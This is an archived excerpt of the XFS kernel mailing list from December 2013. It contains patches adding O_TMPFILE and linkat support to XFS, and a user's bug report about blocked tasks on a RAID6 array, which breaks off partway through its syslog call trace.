b/fs/xfs/xfs_inode.h @@ -20,6 +20,7 @@ #include "xfs_inode_buf.h" #include "xfs_inode_fork.h" +#include "xfs_dinode.h" /* * Kernel only inode definitions @@ -192,6 +193,15 @@ xfs_set_projid(struct xfs_inode *ip, ip->i_d.di_projid_lo = (__uint16_t) (projid & 0xffff); } +static inline prid_t +xfs_get_initial_prid(struct xfs_inode *dp) +{ + if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) + return xfs_get_projid(dp); + + return XFS_PROJID_DEFAULT; +} + /* * In-core inode flags. */ diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 14e58f2..13140c7 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -208,10 +208,7 @@ xfs_symlink( return XFS_ERROR(ENAMETOOLONG); udqp = gdqp = NULL; - if (dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) - prid = xfs_get_projid(dp); - else - prid = XFS_PROJID_DEFAULT; + prid = xfs_get_initial_prid(dp); /* * Make sure that we have allocated dquot(s) on disk. -- 1.7.6.5 From zwu.kernel@gmail.com Tue Dec 17 18:23:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 516AC29E05 for ; Tue, 17 Dec 2013 18:23:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3CAB98F8092 for ; Tue, 17 Dec 2013 16:23:07 -0800 (PST) X-ASG-Debug-ID: 1387326185-04cbb041667ec690001-NocioJ Received: from e36.co.us.ibm.com (e36.co.us.ibm.com [32.97.110.154]) by cuda.sgi.com with ESMTP id Sl77wM8pedPz3eWL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 17 Dec 2013 16:23:05 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.110.154 Received: from /spool/local by e36.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Tue, 17 Dec 2013 17:23:05 -0700 Received: from d03dlp02.boulder.ibm.com (9.17.202.178) by e36.co.us.ibm.com (192.168.1.136) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Tue, 17 Dec 2013 17:23:03 -0700 Received: from b03cxnp08025.gho.boulder.ibm.com (b03cxnp08025.gho.boulder.ibm.com [9.17.130.17]) by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id 368EF3E4003E for ; Tue, 17 Dec 2013 17:23:03 -0700 (MST) Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by b03cxnp08025.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBI0N3Xs5505390 for ; Wed, 18 Dec 2013 01:23:03 +0100 Received: from d03av02.boulder.ibm.com (localhost [127.0.0.1]) by d03av02.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBI0N2uw015511 for ; Tue, 17 Dec 2013 17:23:03 -0700 Received: from us.ibm.com ([9.115.122.226]) by d03av02.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBI0N0IN015319; Tue, 17 Dec 2013 17:23:01 -0700 Received: by us.ibm.com (sSMTP sendmail emulation); Wed, 18 Dec 2013 08:22:54 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: Zhi Yong Wu Subject: [PATCH v2 2/3] xfs: add O_TMPFILE support Date: Wed, 18 Dec 2013 08:22:40 +0800 X-ASG-Orig-Subj: [PATCH v2 2/3] xfs: add O_TMPFILE support Message-Id: <1387326161-24530-3-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 In-Reply-To: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> References: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121800-3532-0000-0000-000003F12E9F X-Barracuda-Connect: e36.co.us.ibm.com[32.97.110.154] X-Barracuda-Start-Time: 1387326185 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143183 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu Add two functions xfs_create_tmpfile() and xfs_vn_tmpfile() to support O_TMPFILE file creation. In contrast to xfs_create(), xfs_create_tmpfile() has a different log reservation to the regular file creation because there is no directory modification, and doesn't check if an entry can be added to the directory, but the reservation quotas is required appropriately, and finally its inode is added to the unlinked list. xfs_vn_tmpfile() add one O_TMPFILE method to VFS interface and directly invoke xfs_create_tmpfile(). Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_inode.c | 107 +++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_inode.h | 2 + fs/xfs/xfs_iops.c | 16 +++++++ fs/xfs/xfs_shared.h | 4 +- fs/xfs/xfs_trans_resv.c | 36 +++++++++++++++- fs/xfs/xfs_trans_resv.h | 2 + 6 files changed, 164 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index c79b875..ac133ea 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1333,6 +1333,113 @@ xfs_create( } int +xfs_create_tmpfile( + struct xfs_inode *dp, + struct dentry *dentry, + umode_t mode) +{ + struct xfs_mount *mp = dp->i_mount; + struct xfs_inode *ip = NULL; + struct xfs_trans *tp = NULL; + int error; + uint cancel_flags = XFS_TRANS_RELEASE_LOG_RES; + prid_t prid; + struct xfs_dquot *udqp = NULL; + struct xfs_dquot *gdqp = NULL; + struct xfs_dquot *pdqp = NULL; + struct xfs_trans_res *tres; + uint resblks; + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + prid = xfs_get_initial_prid(dp); + + /* + * Make sure that we have allocated dquot(s) on disk. + */ + error = xfs_qm_vop_dqalloc(dp, xfs_kuid_to_uid(current_fsuid()), + xfs_kgid_to_gid(current_fsgid()), prid, + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, + &udqp, &gdqp, &pdqp); + if (error) + return error; + + resblks = XFS_IALLOC_SPACE_RES(mp); + tp = xfs_trans_alloc(mp, XFS_TRANS_CREATE_TMPFILE); + + tres = &M_RES(mp)->tr_create_tmpfile; + error = xfs_trans_reserve(tp, tres, resblks, 0); + if (error == ENOSPC) { + /* No space at all so try a "no-allocation" reservation */ + resblks = 0; + error = xfs_trans_reserve(tp, tres, 0, 0); + } + if (error) { + cancel_flags = 0; + goto out_trans_cancel; + } + + error = xfs_trans_reserve_quota(tp, mp, udqp, gdqp, + pdqp, resblks, 1, 0); + if (error) + goto out_trans_cancel; + + error = xfs_dir_ialloc(&tp, dp, mode, 1, 0, + prid, resblks > 0, &ip, NULL); + if (error) { + if (error == ENOSPC) + goto out_trans_cancel; + goto out_trans_abort; + } + + if (mp->m_flags & XFS_MOUNT_WSYNC) + xfs_trans_set_sync(tp); + + /* + * Attach the dquot(s) to the inodes and modify them incore. + * These ids of the inode couldn't have changed since the new + * inode has been locked ever since it was created. + */ + xfs_qm_vop_create_dqattach(tp, ip, udqp, gdqp, pdqp); + + ip->i_d.di_nlink--; + d_tmpfile(dentry, VFS_I(ip)); + error = xfs_iunlink(tp, ip); + if (error) + goto out_trans_abort; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + goto out_release_inode; + + xfs_qm_dqrele(udqp); + xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); + + return 0; + + out_trans_abort: + cancel_flags |= XFS_TRANS_ABORT; + out_trans_cancel: + xfs_trans_cancel(tp, cancel_flags); + out_release_inode: + /* + * Wait until after the current transaction is aborted to + * release the inode. This prevents recursive transactions + * and deadlocks from xfs_inactive. + */ + if (ip) + IRELE(ip); + + xfs_qm_dqrele(udqp); + xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); + + return error; +} + +int xfs_link( xfs_inode_t *tdp, xfs_inode_t *sip, diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 6c58349..3a97820 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -333,6 +333,8 @@ int xfs_lookup(struct xfs_inode *dp, struct xfs_name *name, struct xfs_inode **ipp, struct xfs_name *ci_name); int xfs_create(struct xfs_inode *dp, struct xfs_name *name, umode_t mode, xfs_dev_t rdev, struct xfs_inode **ipp); +int xfs_create_tmpfile(struct xfs_inode *dp, struct dentry *dentry, + umode_t mode); int xfs_remove(struct xfs_inode *dp, struct xfs_name *name, struct xfs_inode *ip); int xfs_link(struct xfs_inode *tdp, struct xfs_inode *sip, diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 27e0e54..5ea7f85 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -39,6 +39,7 @@ #include "xfs_da_btree.h" #include "xfs_dir2_priv.h" #include "xfs_dinode.h" +#include "xfs_trans_space.h" #include #include @@ -1050,6 +1051,19 @@ xfs_vn_fiemap( return 0; } +STATIC int +xfs_vn_tmpfile( + struct inode *dir, + struct dentry *dentry, + umode_t mode) +{ + int error; + + error = xfs_create_tmpfile(XFS_I(dir), dentry, mode); + + return -error; +} + static const struct inode_operations xfs_inode_operations = { .get_acl = xfs_get_acl, .getattr = xfs_vn_getattr, @@ -1086,6 +1100,7 @@ static const struct inode_operations xfs_dir_inode_operations = { .removexattr = generic_removexattr, .listxattr = xfs_vn_listxattr, .update_time = xfs_vn_update_time, + .tmpfile = xfs_vn_tmpfile, }; static const struct inode_operations xfs_dir_ci_inode_operations = { @@ -1112,6 +1127,7 @@ static const struct inode_operations xfs_dir_ci_inode_operations = { .removexattr = generic_removexattr, .listxattr = xfs_vn_listxattr, .update_time = xfs_vn_update_time, + .tmpfile = xfs_vn_tmpfile, }; static const struct inode_operations xfs_symlink_inode_operations = { diff --git a/fs/xfs/xfs_shared.h b/fs/xfs/xfs_shared.h index 8c5035a1..4484e51 100644 --- a/fs/xfs/xfs_shared.h +++ b/fs/xfs/xfs_shared.h @@ -104,7 +104,8 @@ extern const struct xfs_buf_ops xfs_symlink_buf_ops; #define XFS_TRANS_SB_COUNT 41 #define XFS_TRANS_CHECKPOINT 42 #define XFS_TRANS_ICREATE 43 -#define XFS_TRANS_TYPE_MAX 43 +#define XFS_TRANS_CREATE_TMPFILE 44 +#define XFS_TRANS_TYPE_MAX 44 /* new transaction types need to be reflected in xfs_logprint(8) */ #define XFS_TRANS_TYPES \ @@ -112,6 +113,7 @@ extern const struct xfs_buf_ops xfs_symlink_buf_ops; { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ { XFS_TRANS_INACTIVE, "INACTIVE" }, \ { XFS_TRANS_CREATE, "CREATE" }, \ + { XFS_TRANS_CREATE_TMPFILE, "CREATE_TMPFILE" }, \ { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ { XFS_TRANS_REMOVE, "REMOVE" }, \ diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 2fd59c0..bd3b4b7 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -229,6 +229,18 @@ xfs_calc_link_reservation( } /* + * For adding an inode to unlinked list we can modify: + * the agi hash list: sector size + * the unlinked inode: inode size + */ +STATIC uint +xfs_calc_iunlink_add_reservation(xfs_mount_t *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + xfs_calc_inode_res(mp, 1); +} + +/* * For removing a directory entry we can modify: * the parent directory inode: inode size * the removed inode: inode size @@ -245,10 +257,11 @@ xfs_calc_remove_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_inode_res(mp, 2) + + xfs_calc_iunlink_add_reservation(mp) + + MAX((xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + + (xfs_calc_buf_res(4, mp->m_sb.sb_sectsize) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), XFS_FSB_TO_B(mp, 1)))); } @@ -343,6 +356,20 @@ xfs_calc_create_reservation( } +STATIC uint +xfs_calc_create_tmpfile_reservation( + struct xfs_mount *mp) +{ + uint res = XFS_DQUOT_LOGRES(mp); + + if (xfs_sb_version_hascrc(&mp->m_sb)) + res += xfs_calc_icreate_resv_alloc(mp); + else + res += xfs_calc_create_resv_alloc(mp); + + return res + xfs_calc_iunlink_add_reservation(mp); +} + /* * Making a new directory is the same as creating a new file. */ @@ -729,6 +756,11 @@ xfs_trans_resv_calc( resp->tr_create.tr_logcount = XFS_CREATE_LOG_COUNT; resp->tr_create.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + resp->tr_create_tmpfile.tr_logres = + xfs_calc_create_tmpfile_reservation(mp); + resp->tr_create_tmpfile.tr_logcount = XFS_CREATE_TMPFILE_LOG_COUNT; + resp->tr_create_tmpfile.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + resp->tr_mkdir.tr_logres = xfs_calc_mkdir_reservation(mp); resp->tr_mkdir.tr_logcount = XFS_MKDIR_LOG_COUNT; resp->tr_mkdir.tr_logflags |= XFS_TRANS_PERM_LOG_RES; diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h index de7de9a..285621d 100644 --- a/fs/xfs/xfs_trans_resv.h +++ b/fs/xfs/xfs_trans_resv.h @@ -38,6 +38,7 @@ struct xfs_trans_resv { struct xfs_trans_res tr_remove; /* unlink trans */ struct xfs_trans_res tr_symlink; /* symlink trans */ struct xfs_trans_res tr_create; /* create trans */ + struct xfs_trans_res tr_create_tmpfile; /* create O_TMPFILE trans */ struct xfs_trans_res tr_mkdir; /* mkdir trans */ struct xfs_trans_res tr_ifree; /* inode free trans */ struct xfs_trans_res tr_ichange; /* inode update trans */ @@ -100,6 +101,7 @@ struct xfs_trans_resv { #define XFS_ITRUNCATE_LOG_COUNT 2 #define XFS_INACTIVE_LOG_COUNT 2 #define XFS_CREATE_LOG_COUNT 2 +#define XFS_CREATE_TMPFILE_LOG_COUNT 2 #define XFS_MKDIR_LOG_COUNT 3 #define XFS_SYMLINK_LOG_COUNT 3 #define XFS_REMOVE_LOG_COUNT 2 -- 1.7.6.5 From zwu.kernel@gmail.com Tue Dec 17 18:23:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 94AEF29DF8 for ; Tue, 17 Dec 2013 18:23:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 58D688F8092 for ; Tue, 17 Dec 2013 16:23:10 -0800 (PST) X-ASG-Debug-ID: 1387326188-04bdf00fe0cd720001-NocioJ Received: from e37.co.us.ibm.com (e37.co.us.ibm.com [32.97.110.158]) by cuda.sgi.com with ESMTP id 1fVINQpGEYJMlhF9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 17 Dec 2013 16:23:09 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.110.158 Received: from /spool/local by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Tue, 17 Dec 2013 17:23:08 -0700 Received: from d03dlp01.boulder.ibm.com (9.17.202.177) by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Tue, 17 Dec 2013 17:23:07 -0700 Received: from b03cxnp08028.gho.boulder.ibm.com (b03cxnp08028.gho.boulder.ibm.com [9.17.130.20]) by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 400D41FF0021 for ; Tue, 17 Dec 2013 17:22:42 -0700 (MST) Received: from d03av04.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by b03cxnp08028.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBI0N6He6357332 for ; Wed, 18 Dec 2013 01:23:06 +0100 Received: from d03av04.boulder.ibm.com (loopback [127.0.0.1]) by d03av04.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBI0N6OJ027965 for ; Tue, 17 Dec 2013 17:23:06 -0700 Received: from us.ibm.com ([9.115.122.226]) by d03av04.boulder.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBI0N394027749; Tue, 17 Dec 2013 17:23:04 -0700 Received: by us.ibm.com (sSMTP sendmail emulation); Wed, 18 Dec 2013 08:22:58 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: Zhi Yong Wu Subject: [PATCH v2 3/3] xfs: allow linkat() on O_TMPFILE files Date: Wed, 18 Dec 2013 08:22:41 +0800 X-ASG-Orig-Subj: [PATCH v2 3/3] xfs: allow linkat() on O_TMPFILE files Message-Id: <1387326161-24530-4-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 In-Reply-To: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> References: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121800-7164-0000-0000-00000458CA2E X-Barracuda-Connect: e37.co.us.ibm.com[32.97.110.158] X-Barracuda-Start-Time: 1387326188 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143183 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu The VFS allows an anonymous temporary file to be named at a later time via a linkat() syscall. The inodes for O_TMPFILE files are are marked with a special flag I_LINKABLE and have a zero link count. To support this in XFS, xfs_link() detects if this flag I_LINKABLE is set and behaves appropriately when detected. So in this case, its transaciton reservation takes into account the additional overhead of removing the inode from the unlinked list. Then the inode is removed from the unlinked list and the directory entry is added. Finally its link count is bumped accordingly. Signed-off-by: Zhi Yong Wu --- fs/xfs/xfs_inode.c | 10 +++++++++- fs/xfs/xfs_trans_resv.c | 19 +++++++++++++++++-- 2 files changed, 26 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index ac133ea..b08b5a8 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -61,6 +61,8 @@ kmem_zone_t *xfs_inode_zone; STATIC int xfs_iflush_int(xfs_inode_t *, xfs_buf_t *); +STATIC int xfs_iunlink_remove(xfs_trans_t *, xfs_inode_t *); + /* * helper function to extract extent size hint from inode */ @@ -1118,7 +1120,7 @@ xfs_bumplink( { xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG); - ASSERT(ip->i_d.di_nlink > 0); + ASSERT(ip->i_d.di_nlink > 0 || (VFS_I(ip)->i_state & I_LINKABLE)); ip->i_d.di_nlink++; inc_nlink(VFS_I(ip)); if ((ip->i_d.di_version == 1) && @@ -1504,6 +1506,12 @@ xfs_link( xfs_bmap_init(&free_list, &first_block); + if (sip->i_d.di_nlink == 0) { + error = xfs_iunlink_remove(tp, sip); + if (error) + goto abort_return; + } + error = xfs_dir_createname(tp, tdp, target_name, sip->i_ino, &first_block, &free_list, resblks); if (error) diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index bd3b4b7..76f9a02 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -204,6 +204,20 @@ xfs_calc_rename_reservation( } /* + * For removing an inode from unlinked list at first, we can modify: + * the agi hash list and counters: sector size + * the on disk inode before ours in the agi hash list: inode cluster size + */ +STATIC uint +xfs_calc_iunlink_remove_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), + (__uint16_t)XFS_INODE_CLUSTER_SIZE(mp)); +} + +/* * For creating a link to an inode: * the parent directory inode: inode size * the linked inode: inode size @@ -220,6 +234,7 @@ xfs_calc_link_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + + xfs_calc_iunlink_remove_reservation(mp) + MAX((xfs_calc_inode_res(mp, 2) + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), @@ -410,9 +425,9 @@ xfs_calc_ifree_reservation( { return XFS_DQUOT_LOGRES(mp) + xfs_calc_inode_res(mp, 1) + - xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + - max_t(uint, XFS_FSB_TO_B(mp, 1), XFS_INODE_CLUSTER_SIZE(mp)) + + xfs_calc_iunlink_remove_reservation(mp) + xfs_calc_buf_res(1, 0) + xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + mp->m_in_maxlevels, 0) + -- 1.7.6.5 From xfs@pzystorm.de Tue Dec 17 20:08:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8841E29DF8 for ; Tue, 17 Dec 2013 20:08:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 584B0304064 for ; Tue, 17 Dec 2013 18:08:18 -0800 (PST) X-ASG-Debug-ID: 1387332494-04bdf00fe0d1710001-NocioJ Received: from mail.pzystorm.de (mail.pzystorm.de [147.172.2.110]) by cuda.sgi.com with ESMTP id vbxz0pCl6ar6Uzh6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 17 Dec 2013 18:08:16 -0800 (PST) X-Barracuda-Envelope-From: xfs@pzystorm.de X-Barracuda-Apparent-Source-IP: 147.172.2.110 Received: from 77-22-27-29-dynip.superkabel.de ([77.22.27.29] helo=[192.168.178.40]) by mail.pzystorm.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1Vt6YY-0006AG-4M for xfs@oss.sgi.com; Wed, 18 Dec 2013 03:08:14 +0100 Message-ID: <52B102FF.8040404@pzystorm.de> Date: Wed, 18 Dec 2013 03:05:51 +0100 From: Kevin Richter Reply-To: xfs@pzystorm.de MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: XFS blocked task in xlog_cil_force_lsn Content-Type: text/plain; charset=ISO-8859-15 X-ASG-Orig-Subj: XFS blocked task in xlog_cil_force_lsn Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail.pzystorm.de[147.172.2.110] X-Barracuda-Start-Time: 1387332495 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143184 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, around April 2012 there was a similar thread on this list which I have found via Google, so my mail topic is the same. I have a RAID6 array with 5 disks (each 2TB, net: 6TB). While copying under heavy load there are always these blocks. At the bottom of this message I have included some line from the syslog. Even a reboot is now not possible anymore, because the whole system hangs while executing the "sync" command in one of the shutdown scripts. So... first I have thought that my disks are faulty. But with smartmontools I have started a short and a long test on all of the 5 disks: no errors Then I have even recreated the whole array, but no improvement. Details about my server: 3.2.0-57-generic, Ubuntu 12.04.3 LTS Details about the array: soft array with mdadm v3.2.5, no hardware raid controller in the server The scheduler of the raid disks: > $ cat /sys/block/sd[cdefg]/queue/scheduler > noop deadline [cfq] > noop deadline [cfq] > noop deadline [cfq] > noop deadline [cfq] > noop deadline [cfq] Any ideas what I can do? Thanks, Kevin > Dec 18 02:19:19 kernel: [390470.193560] INFO: task kswapd0:51 blocked for more than 120 seconds. > Dec 18 02:19:19 kernel: [390470.194541] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. > Dec 18 02:19:19 kernel: [390470.195795] kswapd0 D ffffffff81806240 0 51 2 0x00000000 > Dec 18 02:19:19 kernel: [390470.195804] ffff8804658099f0 0000000000000046 ffff880465809a74 ffff880465809a78 > Dec 18 02:19:19 kernel: [390470.195813] ffff880465809fd8 ffff880465809fd8 ffff880465809fd8 00000000000137c0 > Dec 18 02:19:19 kernel: [390470.195820] ffff880465dd1700 ffff880465818000 0000000000000000 ffff88046175aa28 > Dec 18 02:19:19 kernel: [390470.195827] Call Trace: > Dec 18 02:19:19 kernel: [390470.195844] [] schedule+0x3f/0x60 > Dec 18 02:19:19 kernel: [390470.195850] [] __mutex_lock_slowpath+0xd7/0x150 > Dec 18 02:19:19 kernel: [390470.195856] [] mutex_lock+0x2a/0x50 > Dec 18 02:19:19 kernel: [390470.195904] [] xfs_reclaim_inodes_ag+0x2d8/0x3a0 [xfs] > Dec 18 02:19:19 kernel: [390470.195928] [] ? __xfs_inode_set_reclaim_tag+0x4a/0x140 [xfs] > Dec 18 02:19:19 kernel: [390470.195951] [] ? xfs_inode_set_reclaim_tag+0x3d/0xa0 [xfs] > Dec 18 02:19:19 kernel: [390470.195973] [] ? xfs_inode_set_reclaim_tag+0x84/0xa0 [xfs] > Dec 18 02:19:19 kernel: [390470.195995] [] ? xfs_fs_destroy_inode+0x65/0x150 [xfs] > Dec 18 02:19:19 kernel: [390470.196003] [] ? destroy_inode+0x3c/0x70 > Dec 18 02:19:19 kernel: [390470.196008] [] ? evict+0x12a/0x1c0 > Dec 18 02:19:19 kernel: [390470.196016] [] ? _raw_spin_lock+0xe/0x20 > Dec 18 02:19:19 kernel: [390470.196037] [] xfs_reclaim_inodes_nr+0x33/0x40 [xfs] > Dec 18 02:19:19 kernel: [390470.196059] [] xfs_fs_free_cached_objects+0x15/0x20 [xfs] > Dec 18 02:19:19 kernel: [390470.196067] [] prune_super+0x10e/0x1a0 > Dec 18 02:19:19 kernel: [390470.196073] [] shrink_slab+0x154/0x300 > Dec 18 02:19:19 kernel: [390470.196079] [] balance_pgdat+0x50a/0x6d0 > Dec 18 02:19:19 kernel: [390470.196085] [] kswapd+0x121/0x220 > Dec 18 02:19:19 kernel: [390470.196090] [] ? balance_pgdat+0x6d0/0x6d0 > Dec 18 02:19:19 kernel: [390470.196097] [] kthread+0x8c/0xa0 > Dec 18 02:19:19 kernel: [390470.196105] [] kernel_thread_helper+0x4/0x10 > Dec 18 02:19:19 kernel: [390470.196111] [] ? flush_kthread_worker+0xa0/0xa0 > Dec 18 02:19:19 kernel: [390470.196117] [] ? gs_change+0x13/0x13 > Dec 18 02:19:19 kernel: [390470.196121] INFO: task kswapd1:52 blocked for more than 120 seconds. > Dec 18 02:19:19 kernel: [390470.197086] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. > Dec 18 02:19:19 kernel: [390470.198427] kswapd1 D 0000000000000007 0 52 2 0x00000000 > Dec 18 02:19:19 kernel: [390470.198434] ffff88046580b840 0000000000000046 0000000000000001 00000000ffffffff > Dec 18 02:19:19 kernel: [390470.198441] ffff88046580bfd8 ffff88046580bfd8 ffff88046580bfd8 00000000000137c0 > Dec 18 02:19:19 kernel: [390470.198447] ffff880865e8ae00 ffff880465819700 ffff88046580b830 0000000000000004 > Dec 18 02:19:19 kernel: [390470.198454] Call Trace: > Dec 18 02:19:19 kernel: 